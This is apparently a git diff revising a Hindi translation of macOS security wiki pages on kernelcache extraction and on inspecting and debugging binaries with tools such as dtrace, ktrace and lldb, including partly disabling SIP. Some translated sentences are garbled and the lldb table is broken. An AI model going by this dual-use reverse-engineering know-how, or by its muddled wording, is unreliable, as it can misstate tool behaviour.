- वैकल्पिक: आमतौर पर यह नहीं पाया जाता
@@ -81,7 +81,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### डाउनलोड
+### डाउनलोड
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
@@ -93,11 +93,11 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
-कभी-कभी Apple **kernelcache** को **symbols** के साथ जारी करता है। आप उन पृष्ठों पर लिंक का पालन करके कुछ firmware डाउनलोड कर सकते हैं जिनमें symbols होते हैं। इन firmware में अन्य फ़ाइलों के साथ **kernelcache** शामिल होगा।
+कभी-कभी Apple **kernelcache** को **symbols** के साथ जारी करता है। आप उन पृष्ठों पर दिए गए लिंक का पालन करके कुछ firmware को symbols के साथ डाउनलोड कर सकते हैं। firmware में अन्य फ़ाइलों के साथ **kernelcache** शामिल होगा।
-फ़ाइलों को **extract** करने के लिए, पहले `.ipsw` से `.zip` में एक्सटेंशन बदलें और फिर **unzip** करें।
+फ़ाइलों को **extract** करने के लिए `.ipsw` से `.zip` में एक्सटेंशन बदलकर शुरू करें और **unzip** करें।
-Firmware को extract करने के बाद आपको एक फ़ाइल मिलेगी जैसे: **`kernelcache.release.iphone14`**। यह **IMG4** प्रारूप में है, आप इसे दिलचस्प जानकारी निकालने के लिए उपयोग कर सकते हैं:
+Firmware को extract करने के बाद आपको एक फ़ाइल मिलेगी जैसे: **`kernelcache.release.iphone14`**। यह **IMG4** प्रारूप में है, आप इसे निम्नलिखित के साथ दिलचस्प जानकारी निकाल सकते हैं:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
```bash
@@ -107,9 +107,9 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### कर्नेलकैश का निरीक्षण करना
+### Inspecting kernelcache
-जांचें कि क्या कर्नेलकैश में प्रतीक हैं
+जांचें कि क्या kernelcache में प्रतीक हैं
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index ab8c47ad2..980f4cfcd 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -50,7 +50,7 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
# Get MIG information
jtool2 -d __DATA.__const myipc_server | grep MIG
```
-> [!CAUTION] > **jtool का उपयोग बंद कर दिया गया है disarm के पक्ष में**
+> [!CAUTION] > **jtool का उपयोग बंद कर दिया गया है और disarm को प्राथमिकता दी गई है**
### Codesign / ldid
@@ -84,37 +84,37 @@ ldid -S/tmp/entl.xml
### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) एक उपकरण है जो **.pkg** फ़ाइलों (इंस्टॉलर) की जांच करने के लिए उपयोगी है और इसे स्थापित करने से पहले इसके अंदर क्या है, यह देखने के लिए।\
-इन इंस्टॉलरों में `preinstall` और `postinstall` बैश स्क्रिप्ट होती हैं जिनका उपयोग आमतौर पर मैलवेयर लेखक **persist** **the** **malware** के लिए करते हैं।
+इन इंस्टॉलरों में `preinstall` और `postinstall` बैश स्क्रिप्ट होती हैं जिन्हें मैलवेयर लेखक आमतौर पर **persist** **the** **malware** के लिए दुरुपयोग करते हैं।
### hdiutil
-यह उपकरण Apple डिस्क इमेज (**.dmg**) फ़ाइलों को **mount** करने की अनुमति देता है ताकि उन्हें चलाने से पहले जांचा जा सके:
+यह उपकरण Apple डिस्क इमेज (**.dmg**) फ़ाइलों को **mount** करने की अनुमति देता है ताकि उन्हें कुछ भी चलाने से पहले जांचा जा सके:
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
-यह `/Volumes` में माउंट किया जाएगा
+It will be mounted in `/Volumes`
-### पैक्ड बाइनरी
+### Packed binaries
- उच्च एंट्रॉपी के लिए जांचें
-- स्ट्रिंग्स की जांच करें (यदि लगभग कोई समझने योग्य स्ट्रिंग नहीं है, तो पैक किया गया है)
+- स्ट्रिंग्स की जांच करें (क्या लगभग कोई समझने योग्य स्ट्रिंग नहीं है, पैक किया गया है)
- MacOS के लिए UPX पैकर एक सेक्शन बनाता है जिसे "\_\_XHDR" कहा जाता है
-## स्थैतिक Objective-C विश्लेषण
+## Static Objective-C analysis
-### मेटाडेटा
+### Metadata
> [!CAUTION]
-> ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **क्लास डिक्लेरेशन को बनाए रखते हैं** **जब** **कंपाइल** किया जाता है [Mach-O बाइनरी में](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)। ऐसे क्लास डिक्लेरेशन **में शामिल हैं**:
+> ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **क्लास डिक्लेरेशन को बनाए रखते हैं** **जब** **कंपाइल** किया जाता है [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) में। ऐसे क्लास डिक्लेरेशन **शामिल** करते हैं:
- परिभाषित इंटरफेस
- इंटरफेस विधियाँ
- इंटरफेस इंस्टेंस वेरिएबल्स
- परिभाषित प्रोटोकॉल
-ध्यान दें कि ये नाम बाइनरी के रिवर्सिंग को अधिक कठिन बनाने के लिए ओबफस्केट किए जा सकते हैं।
+ध्यान दें कि ये नाम बाइनरी के रिवर्सिंग को अधिक कठिन बनाने के लिए छिपाए जा सकते हैं।
-### फ़ंक्शन कॉलिंग
+### Function calling
जब एक बाइनरी में एक फ़ंक्शन को कॉल किया जाता है जो Objective-C का उपयोग करता है, तो कंपाइल किया गया कोड उस फ़ंक्शन को कॉल करने के बजाय **`objc_msgSend`** को कॉल करेगा। जो अंतिम फ़ंक्शन को कॉल करेगा:
@@ -122,7 +122,7 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
इस फ़ंक्शन की अपेक्षित पैरामीटर हैं:
-- पहला पैरामीटर (**self**) "एक पॉइंटर है जो **क्लास के इंस्टेंस की ओर इशारा करता है जो संदेश प्राप्त करने वाला है**"। या सरल शब्दों में, यह वह ऑब्जेक्ट है जिस पर विधि को लागू किया जा रहा है। यदि विधि एक क्लास विधि है, तो यह क्लास ऑब्जेक्ट का एक इंस्टेंस होगा (जैसे पूरा), जबकि एक इंस्टेंस विधि के लिए, self क्लास के एक इंस्टेंस के रूप में एक ऑब्जेक्ट की ओर इशारा करेगा।
+- पहला पैरामीटर (**self**) "एक पॉइंटर है जो **क्लास के इंस्टेंस की ओर इशारा करता है जो संदेश प्राप्त करने वाला है**"। या सरल शब्दों में, यह वह ऑब्जेक्ट है जिस पर विधि को लागू किया जा रहा है। यदि विधि एक क्लास विधि है, तो यह क्लास ऑब्जेक्ट का एक इंस्टेंस होगा (जैसे पूरा), जबकि एक इंस्टेंस विधि के लिए, self क्लास के एक इंस्टेंस को ऑब्जेक्ट के रूप में इंगित करेगा।
- दूसरा पैरामीटर, (**op**), "विधि का चयनकर्ता है जो संदेश को संभालता है"। फिर से, सरल शब्दों में, यह बस **विधि का नाम है।**
- शेष पैरामीटर वे **मान हैं जो विधि द्वारा आवश्यक हैं** (op)।
@@ -134,21 +134,21 @@ arm64-basic-assembly.md
x64:
-| **आर्गुमेंट** | **रजिस्टर** | **(के लिए) objc_msgSend** |
+| **Argument** | **Register** | **(for) objc_msgSend** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
-| **1st आर्गुमेंट** | **rdi** | **self: वह ऑब्जेक्ट जिस पर विधि को लागू किया जा रहा है** |
-| **2nd आर्गुमेंट** | **rsi** | **op: विधि का नाम** |
-| **3rd आर्गुमेंट** | **rdx** | **विधि के लिए 1st आर्गुमेंट** |
-| **4th आर्गुमेंट** | **rcx** | **विधि के लिए 2nd आर्गुमेंट** |
-| **5th आर्गुमेंट** | **r8** | **विधि के लिए 3rd आर्गुमेंट** |
-| **6th आर्गुमेंट** | **r9** | **विधि के लिए 4th आर्गुमेंट** |
-| **7th+ आर्गुमेंट** |
rsp+ (स्टैक पर)
| **विधि के लिए 5th+ आर्गुमेंट** |
+| **1st argument** | **rdi** | **self: object that the method is being invoked upon** |
+| **2nd argument** | **rsi** | **op: name of the method** |
+| **3rd argument** | **rdx** | **1st argument to the method** |
+| **4th argument** | **rcx** | **2nd argument to the method** |
+| **5th argument** | **r8** | **3rd argument to the method** |
+| **6th argument** | **r9** | **4th argument to the method** |
+| **7th+ argument** |
rsp+ (on the stack)
| **5th+ argument to the method** |
-### ObjectiveC मेटाडेटा डंप करें
+### Dump ObjectiveC metadata
### Dynadump
-[**Dynadump**](https://github.com/DerekSelander/dynadump) एक उपकरण है जो Objective-C बाइनरी को क्लास-डंप करता है। गिटहब डायलिब्स को निर्दिष्ट करता है लेकिन यह निष्पादन योग्य फ़ाइलों के साथ भी काम करता है।
+[**Dynadump**](https://github.com/DerekSelander/dynadump) एक उपकरण है जो Objective-C बाइनरी को क्लास-डंप करता है। गिटहब में dylibs निर्दिष्ट हैं लेकिन यह निष्पादन योग्य फ़ाइलों के साथ भी काम करता है।
```bash
./dynadump dump /path/to/bin
```
@@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
```
आप इस [**ब्लॉग पोस्ट में इन अनुभागों में संग्रहीत जानकारी**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) के बारे में और जानकारी प्राप्त कर सकते हैं।
-इसके अलावा, **Swift बाइनरी में प्रतीक हो सकते हैं** (उदाहरण के लिए पुस्तकालयों को प्रतीकों को संग्रहीत करने की आवश्यकता होती है ताकि उनके कार्यों को कॉल किया जा सके)। **प्रतीकों में आमतौर पर कार्य का नाम** और विशेषता के बारे में जानकारी होती है, इसलिए वे बहुत उपयोगी होते हैं और ऐसे "**डेमैंग्लर्स"** होते हैं जो मूल नाम प्राप्त कर सकते हैं:
+इसके अलावा, **Swift बाइनरी में प्रतीक हो सकते हैं** (उदाहरण के लिए, पुस्तकालयों को प्रतीकों को संग्रहीत करने की आवश्यकता होती है ताकि उनके कार्यों को कॉल किया जा सके)। **प्रतीकों में आमतौर पर कार्य का नाम** और विशेषता के बारे में जानकारी होती है, जो एक खराब तरीके से होती है, इसलिए वे बहुत उपयोगी होते हैं और ऐसे "**डेमैंग्लर्स"** होते हैं जो मूल नाम प्राप्त कर सकते हैं:
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@@ -218,7 +218,7 @@ macOS कुछ दिलचस्प APIs को उजागर करता
### स्टैकशॉट और माइक्रोस्टैकशॉट्स
-**स्टैकशॉटिंग** एक तकनीक है जिसका उपयोग प्रक्रियाओं की स्थिति को कैप्चर करने के लिए किया जाता है, जिसमें सभी चल रहे थ्रेड्स के कॉल स्टैक शामिल होते हैं। यह विशेष रूप से डिबगिंग, प्रदर्शन विश्लेषण, और किसी विशेष समय पर सिस्टम के व्यवहार को समझने के लिए उपयोगी है। iOS और macOS पर, स्टैकशॉटिंग कई उपकरणों और विधियों का उपयोग करके किया जा सकता है जैसे कि उपकरण **`sample`** और **`spindump`**।
+**स्टैकशॉटिंग** एक तकनीक है जिसका उपयोग प्रक्रियाओं की स्थिति को कैप्चर करने के लिए किया जाता है, जिसमें सभी चल रहे थ्रेड्स के कॉल स्टैक शामिल होते हैं। यह विशेष रूप से डिबगिंग, प्रदर्शन विश्लेषण, और किसी विशेष समय पर सिस्टम के व्यवहार को समझने के लिए उपयोगी है। iOS और macOS पर, स्टैकशॉटिंग कई उपकरणों और विधियों का उपयोग करके किया जा सकता है जैसे **`sample`** और **`spindump`**।
### Sysdiagnose
@@ -230,7 +230,7 @@ macOS कुछ दिलचस्प APIs को उजागर करता
- `com.apple.sysdiagnose.CacheDelete`: /var/rmp में पुराने आर्काइव को हटाता है
- `com.apple.sysdiagnose.kernel.ipc`: विशेष पोर्ट 23 (kernel)
-- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-C वर्ग के माध्यम से उपयोगकर्ता मोड इंटरफ़ेस। एक dict में तीन तर्क पास किए जा सकते हैं (`compress`, `display`, `run`)
+- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-C क्लास के माध्यम से उपयोगकर्ता मोड इंटरफेस। एक dict में तीन तर्क पास किए जा सकते हैं (`compress`, `display`, `run`)
### यूनिफाइड लॉग्स
@@ -240,27 +240,27 @@ MacOS बहुत सारे लॉग उत्पन्न करता ह
### हॉप्पर
-#### बाईं पैनल
+#### बाएँ पैनल
-हॉप्पर के बाईं पैनल में बाइनरी के प्रतीक (**Labels**), प्रक्रियाओं और कार्यों की सूची (**Proc**) और स्ट्रिंग्स (**Str**) देखी जा सकती हैं। ये सभी स्ट्रिंग्स नहीं हैं बल्कि वे हैं जो Mac-O फ़ाइल के कई भागों में परिभाषित हैं (जैसे _cstring या_ `objc_methname`)।
+हॉप्पर के बाएँ पैनल में बाइनरी के प्रतीक (**Labels**), प्रक्रियाओं और कार्यों की सूची (**Proc**) और स्ट्रिंग्स (**Str**) देखी जा सकती हैं। ये सभी स्ट्रिंग्स नहीं हैं बल्कि वे हैं जो Mac-O फ़ाइल के कई भागों में परिभाषित हैं (जैसे _cstring या_ `objc_methname`)।
#### मध्य पैनल
-मध्य पैनल में आप **डिस्सेम्बल्ड कोड** देख सकते हैं। और आप इसे **कच्चे** डिस्सेम्बल, **ग्राफ** के रूप में, **डीकंपाइल** के रूप में और **बाइनरी** के रूप में संबंधित आइकन पर क्लिक करके देख सकते हैं:
+मध्य पैनल में आप **डिस्सेम्बल्ड कोड** देख सकते हैं। और आप इसे **कच्चे** डिस्सेम्बल, **ग्राफ** के रूप में, **डीकंपाइल्ड** और **बाइनरी** के रूप में संबंधित आइकन पर क्लिक करके देख सकते हैं:
-कोड ऑब्जेक्ट पर राइट-क्लिक करने पर आप **उस ऑब्जेक्ट के लिए संदर्भ** देख सकते हैं या यहां तक कि इसका नाम बदल सकते हैं (यह डी-कंपाइल किए गए प्सेडोकोड में काम नहीं करता):
+कोड ऑब्जेक्ट पर राइट-क्लिक करके आप **उस ऑब्जेक्ट के लिए संदर्भ** देख सकते हैं या यहां तक कि इसका नाम बदल सकते हैं (यह डी-कंपाइल्ड प्सेडोकोड में काम नहीं करता):
इसके अलावा, **मध्य नीचे आप पायथन कमांड लिख सकते हैं**।
-#### दाईं पैनल
+#### दाएँ पैनल
-दाईं पैनल में आप दिलचस्प जानकारी देख सकते हैं जैसे **नेविगेशन इतिहास** (ताकि आप जान सकें कि आप वर्तमान स्थिति पर कैसे पहुंचे), **कॉल ग्राफ** जहां आप देख सकते हैं सभी **कार्य जो इस कार्य को कॉल करते हैं** और सभी कार्य जो **यह कार्य कॉल करता है**, और **स्थानीय चर** की जानकारी।
+दाएँ पैनल में आप दिलचस्प जानकारी देख सकते हैं जैसे **नेविगेशन इतिहास** (ताकि आप जान सकें कि आप वर्तमान स्थिति पर कैसे पहुंचे), **कॉल ग्राफ** जहां आप देख सकते हैं सभी **कार्य जो इस कार्य को कॉल करते हैं** और सभी कार्य जो **यह कार्य कॉल करता है**, और **स्थानीय चर** की जानकारी।
-### डीट्रैस
+### dtrace
यह उपयोगकर्ताओं को अनुप्रयोगों तक अत्यधिक **निम्न स्तर** पर पहुंच प्रदान करता है और उपयोगकर्ताओं को **कार्यक्रमों को ट्रेस** करने और यहां तक कि उनके निष्पादन प्रवाह को बदलने का एक तरीका प्रदान करता है। Dtrace **प्रोब्स** का उपयोग करता है जो **कर्नेल के चारों ओर रखे जाते हैं** और सिस्टम कॉल के प्रारंभ और अंत जैसे स्थानों पर होते हैं।
@@ -269,7 +269,7 @@ DTrace प्रत्येक सिस्टम कॉल के लिए
> [!TIP]
> Dtrace को पूरी तरह से SIP सुरक्षा को अक्षम किए बिना सक्षम करने के लिए आप रिकवरी मोड में निष्पादित कर सकते हैं: `csrutil enable --without dtrace`
>
-> आप **`dtrace`** या **`dtruss`** बाइनरी भी कर सकते हैं जो **आपने संकलित की हैं**।
+> आप **`dtrace`** या **`dtruss`** बाइनरीज़ भी कर सकते हैं जो **आपने संकलित की हैं**।
dtrace के उपलब्ध प्रोब्स को प्राप्त किया जा सकता है:
```bash
@@ -281,7 +281,7 @@ ID PROVIDER MODULE FUNCTION NAME
43 profile profile-97
44 profile profile-199
```
-प्रोब नाम चार भागों में बंटा होता है: प्रदाता, मॉड्यूल, फ़ंक्शन, और नाम (`fbt:mach_kernel:ptrace:entry`)। यदि आप नाम के कुछ भाग को निर्दिष्ट नहीं करते हैं, तो Dtrace उस भाग को वाइल्डकार्ड के रूप में लागू करेगा।
+प्रोब नाम चार भागों में बंटा होता है: प्रदाता, मॉड्यूल, फ़ंक्शन, और नाम (`fbt:mach_kernel:ptrace:entry`)। यदि आप नाम के किसी भाग को निर्दिष्ट नहीं करते हैं, तो Dtrace उस भाग को वाइल्डकार्ड के रूप में लागू करेगा।
DTrace को प्रोब्स को सक्रिय करने और जब वे फायर होते हैं तो कौन से क्रियाएँ करनी हैं, यह निर्दिष्ट करने के लिए, हमें D भाषा का उपयोग करने की आवश्यकता होगी।
@@ -339,17 +339,43 @@ dtruss -c -p 1000 #get syscalls of PID 1000
```
### kdebug
-यह एक कर्नेल ट्रेसिंग सुविधा है। दस्तावेज़ित कोड **`/usr/share/misc/trace.codes`
+यह एक कर्नेल ट्रेसिंग सुविधा है। दस्तावेज़ीकृत कोड **`/usr/share/misc/trace.codes`** में पाए जा सकते हैं।
+
+`latency`, `sc_usage`, `fs_usage` और `trace` जैसे उपकरण इसका आंतरिक रूप से उपयोग करते हैं।
+
+`kdebug` के साथ इंटरफेस करने के लिए `sysctl` का उपयोग `kern.kdebug` नामस्थान पर किया जाता है और उपयोग करने के लिए MIBs `sys/sysctl.h` में पाए जा सकते हैं जिसमें कार्य `bsd/kern/kdebug.c` में लागू किए गए हैं।
+
+कस्टम क्लाइंट के साथ kdebug के साथ इंटरैक्ट करने के लिए ये आमतौर पर कदम होते हैं:
+
+- KERN_KDSETREMOVE के साथ मौजूदा सेटिंग्स को हटाएं
+- KERN_KDSETBUF और KERN_KDSETUP के साथ ट्रेस सेट करें
+- KERN_KDGETBUF का उपयोग करके बफर प्रविष्टियों की संख्या प्राप्त करें
+- KERN_KDPINDEX के साथ ट्रेस से अपने क्लाइंट को प्राप्त करें
+- KERN_KDENABLE के साथ ट्रेसिंग सक्षम करें
+- KERN_KDREADTR को कॉल करके बफर पढ़ें
+- प्रत्येक थ्रेड को उसके प्रोसेस से मेल करने के लिए KERN_KDTHRMAP को कॉल करें।
+
+इस जानकारी को प्राप्त करने के लिए Apple उपकरण **`trace`** या कस्टम उपकरण [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** का उपयोग करना संभव है।**
+
+**ध्यान दें कि Kdebug केवल एक ग्राहक के लिए एक समय में उपलब्ध है।** इसलिए एक समय में केवल एक k-debug संचालित उपकरण चलाया जा सकता है।
+
+### ktrace
+
+`ktrace_*` APIs `libktrace.dylib` से आती हैं जो `Kdebug` के उन परतों को लपेटती हैं। फिर, एक क्लाइंट बस `ktrace_session_create` और `ktrace_events_[single/class]` को कॉल कर सकता है ताकि विशिष्ट कोड पर कॉलबैक सेट कर सके और फिर इसे `ktrace_start` के साथ शुरू कर सके।
+
+आप इसे **SIP सक्रिय होने पर भी** उपयोग कर सकते हैं।
+
+आप क्लाइंट के रूप में उपयोगिता `ktrace` का उपयोग कर सकते हैं:
```bash
ktrace trace -s -S -t c -c ls | grep "ls("
```
-या `tailspin`।
+Or `tailspin`.
### kperf
यह कर्नेल स्तर की प्रोफाइलिंग करने के लिए उपयोग किया जाता है और इसे `Kdebug` कॉलआउट्स का उपयोग करके बनाया गया है।
-बुनियादी रूप से, वैश्विक चर `kernel_debug_active` की जांच की जाती है और यदि यह सेट है तो यह `kperf_kdebug_handler` को `Kdebug` कोड और कर्नेल फ्रेम के पते के साथ कॉल करता है। यदि `Kdebug` कोड में से एक चयनित के साथ मेल खाता है, तो इसे "क्रियाएँ" के रूप में एक बिटमैप के रूप में कॉन्फ़िगर किया जाता है (विकल्पों के लिए `osfmk/kperf/action.h` देखें)।
+बुनियादी रूप से, वैश्विक चर `kernel_debug_active` की जांच की जाती है और इसे सेट किया जाता है, यह `kperf_kdebug_handler` को `Kdebug` कोड और कर्नेल फ्रेम के पते के साथ कॉल करता है। यदि `Kdebug` कोड में से एक से मेल खाता है, तो इसे एक बिटमैप के रूप में कॉन्फ़िगर की गई "क्रियाएँ" मिलती हैं (विकल्पों के लिए `osfmk/kperf/action.h` देखें)।
Kperf का एक sysctl MIB तालिका भी है: (रूट के रूप में) `sysctl kperf`। ये कोड `osfmk/kperf/kperfbsd.c` में पाए जा सकते हैं।
@@ -362,7 +388,7 @@ Kperf का एक sysctl MIB तालिका भी है: (रूट क
### SpriteTree
[**SpriteTree**](https://themittenmac.com/tools/) एक उपकरण है जो प्रक्रियाओं के बीच संबंधों को प्रिंट करता है।\
-आपको अपने मैक को एक कमांड के साथ मॉनिटर करना होगा जैसे **`sudo eslogger fork exec rename create > cap.json`** (इसकी आवश्यकता के लिए टर्मिनल को FDA लॉन्च करना होगा)। और फिर आप इस उपकरण में json लोड कर सकते हैं ताकि सभी संबंधों को देख सकें:
+आपको अपने मैक को एक कमांड के साथ मॉनिटर करना होगा जैसे **`sudo eslogger fork exec rename create > cap.json`** (इसकी आवश्यकता के लिए टर्मिनल को FDA लॉन्च करना आवश्यक है)। और फिर आप इस उपकरण में json लोड कर सकते हैं ताकि सभी संबंधों को देख सकें:
@@ -372,7 +398,7 @@ Kperf का एक sysctl MIB तालिका भी है: (रूट क
### Crescendo
-[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) एक GUI उपकरण है जिसका रूप और अनुभव Windows उपयोगकर्ताओं को Microsoft Sysinternal के _Procmon_ से परिचित हो सकता है। यह उपकरण विभिन्न प्रकार की घटनाओं के रिकॉर्डिंग को शुरू और रोकने की अनुमति देता है, इन घटनाओं को फ़ाइल, प्रक्रिया, नेटवर्क आदि जैसी श्रेणियों द्वारा फ़िल्टर करने की अनुमति देता है, और json प्रारूप में रिकॉर्ड की गई घटनाओं को सहेजने की कार्यक्षमता प्रदान करता है।
+[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) एक GUI उपकरण है जिसका रूप और अनुभव Windows उपयोगकर्ताओं को Microsoft Sysinternal के _Procmon_ से परिचित हो सकता है। यह उपकरण विभिन्न प्रकार की घटनाओं के रिकॉर्डिंग को शुरू और बंद करने की अनुमति देता है, इन घटनाओं को फ़ाइल, प्रक्रिया, नेटवर्क आदि जैसी श्रेणियों द्वारा फ़िल्टर करने की अनुमति देता है, और json प्रारूप में रिकॉर्ड की गई घटनाओं को सहेजने की कार्यक्षमता प्रदान करता है।
### Apple Instruments
@@ -390,29 +416,29 @@ fs_usage -w -f network curl #This tracks network actions
### TaskExplorer
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) एक बाइनरी द्वारा उपयोग की जाने वाली **लाइब्रेरीज़**, इसके द्वारा उपयोग किए जा रहे **फाइलों** और **नेटवर्क** कनेक्शनों को देखने के लिए उपयोगी है।\
-यह बाइनरी प्रक्रियाओं की जांच **virustotal** के खिलाफ करता है और बाइनरी के बारे में जानकारी दिखाता है।
+यह बाइनरी प्रक्रियाओं की जांच **virustotal** के खिलाफ भी करता है और बाइनरी के बारे में जानकारी दिखाता है।
## PT_DENY_ATTACH
-[**इस ब्लॉग पोस्ट**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) में आप एक उदाहरण पा सकते हैं कि कैसे **एक चल रहे डेमन** को **`PT_DENY_ATTACH`** का उपयोग करके डिबग किया जाए ताकि डिबगिंग को रोका जा सके, भले ही SIP अक्षम हो।
+[**इस ब्लॉग पोस्ट**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) में आप एक उदाहरण पा सकते हैं कि कैसे **एक चल रहे डेमन** को **debug** किया जाए जिसने **`PT_DENY_ATTACH`** का उपयोग किया ताकि डिबगिंग को रोका जा सके, भले ही SIP बंद था।
### lldb
-**lldb** **macOS** बाइनरी **डिबगिंग** के लिए de **facto tool** है।
+**lldb** **macOS** बाइनरी **debugging** के लिए de **facto tool** है।
```bash
lldb ./malware.bin
lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
-आप अपने होम फ़ोल्डर में **`.lldbinit`** नामक एक फ़ाइल बनाकर lldb का उपयोग करते समय intel स्वाद सेट कर सकते हैं, जिसमें निम्नलिखित पंक्ति हो:
+आप अपने होम फ़ोल्डर में **`.lldbinit`** नामक फ़ाइल बनाकर lldb का उपयोग करते समय intel स्वाद सेट कर सकते हैं, जिसमें निम्नलिखित पंक्ति हो:
```bash
settings set target.x86-disassembly-flavor intel
```
> [!WARNING]
> lldb के अंदर, `process save-core` के साथ एक प्रक्रिया को डंप करें
-
(lldb) कमांड
विवरण
run (r)
कार्यवाही शुरू करना, जो तब तक जारी रहेगा जब तक कि एक ब्रेकपॉइंट हिट न हो या प्रक्रिया समाप्त न हो जाए।
process launch --stop-at-entry
प्रवेश बिंदु पर रुकते हुए कार्यवाही शुरू करें
continue (c)
डीबग की गई प्रक्रिया की कार्यवाही जारी रखें।
nexti (n / ni)
अगली निर्देश को निष्पादित करें। यह कमांड फ़ंक्शन कॉल को छोड़ देगा।
stepi (s / si)
अगली निर्देश को निष्पादित करें। अगले कमांड के विपरीत, यह कमांड फ़ंक्शन कॉल में कदम रखेगा।
finish (f)
वर्तमान फ़ंक्शन में शेष निर्देशों को निष्पादित करें (“फ्रेम”) लौटें और रुकें।
control + c
कार्यवाही को रोकें। यदि प्रक्रिया को चलाया गया है (r) या जारी रखा गया है (c), तो यह प्रक्रिया को रोक देगा ...जहाँ भी यह वर्तमान में निष्पादित हो रही है।
breakpoint (b)
b main #कोई भी फ़ंक्शन जिसे main कहा जाता है
b <binname>`main #बिन का मुख्य फ़ंक्शन
b set -n main --shlib <lib_name> #संकेतित बिन का मुख्य फ़ंक्शन
breakpoint set -r '\[NSFileManager .*\]$' #कोई भी NSFileManager विधि
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # उस पुस्तकालय के सभी फ़ंक्शनों में ब्रेक
b -a 0x0000000100004bd9
br l #ब्रेकपॉइंट सूची
br e/dis <num> #ब्रेकपॉइंट सक्षम/अक्षम करें
breakpoint delete <num>
help
help breakpoint #ब्रेकपॉइंट कमांड की मदद प्राप्त करें
help memory write #मेमोरी में लिखने के लिए मदद प्राप्त करें
मेमोरी को एक नल-टर्मिनेटेड स्ट्रिंग के रूप में प्रदर्शित करें।
x/i <reg/memory address>
मेमोरी को असेंबली निर्देश के रूप में प्रदर्शित करें।
x/b <reg/memory address>
मेमोरी को बाइट के रूप में प्रदर्शित करें।
print object (po)
यह उस ऑब्जेक्ट को प्रिंट करेगा जिसका संदर्भ पैरामीटर द्वारा दिया गया है
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
ध्यान दें कि Apple के अधिकांश Objective-C APIs या विधियाँ ऑब्जेक्ट लौटाती हैं, और इसलिए उन्हें “print object” (po) कमांड के माध्यम से प्रदर्शित किया जाना चाहिए। यदि po अर्थपूर्ण आउटपुट नहीं देता है तो x/b का उपयोग करें
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #उस पते में AAAA लिखें memory write -f s $rip+0x11f+7 "AAAA" #पते में AAAA लिखें
disassembly
dis #वर्तमान फ़ंक्शन का डिसास
dis -n <funcname> #फ़ंक्शन का डिसास
dis -n <funcname> -b <basename> #फ़ंक्शन का डिसास dis -c 6 #6 पंक्तियों का डिसास dis -c 0x100003764 -e 0x100003768 #एक जोड़ से दूसरे तक dis -p -c 4 #वर्तमान पते से डिसास करना शुरू करें
parray
parray 3 (char **)$x1 #x1 रजिस्टर में 3 घटकों का ऐरे जांचें
image dump sections
वर्तमान प्रक्रिया की मेमोरी का मानचित्र प्रिंट करें
image dump symtab <library>
image dump symtab CoreNLP #CoreNLP से सभी प्रतीकों के पते प्राप्त करें
+
(lldb) कमांड
विवरण
run (r)
कार्यवाही शुरू करना, जो तब तक जारी रहेगा जब तक कि एक ब्रेकपॉइंट हिट न हो या प्रक्रिया समाप्त न हो जाए।
process launch --stop-at-entry
प्रवेश बिंदु पर रुकते हुए कार्यवाही शुरू करें
continue (c)
डीबग की गई प्रक्रिया की कार्यवाही जारी रखें।
nexti (n / ni)
अगली निर्देश को निष्पादित करें। यह कमांड फ़ंक्शन कॉल को छोड़ देगा।
stepi (s / si)
अगली निर्देश को निष्पादित करें। अगली कमांड के विपरीत, यह कमांड फ़ंक्शन कॉल में कदम रखेगा।
finish (f)
वर्तमान फ़ंक्शन (“फ्रेम”) में शेष निर्देशों को निष्पादित करें, लौटें और रुकें।
control + c
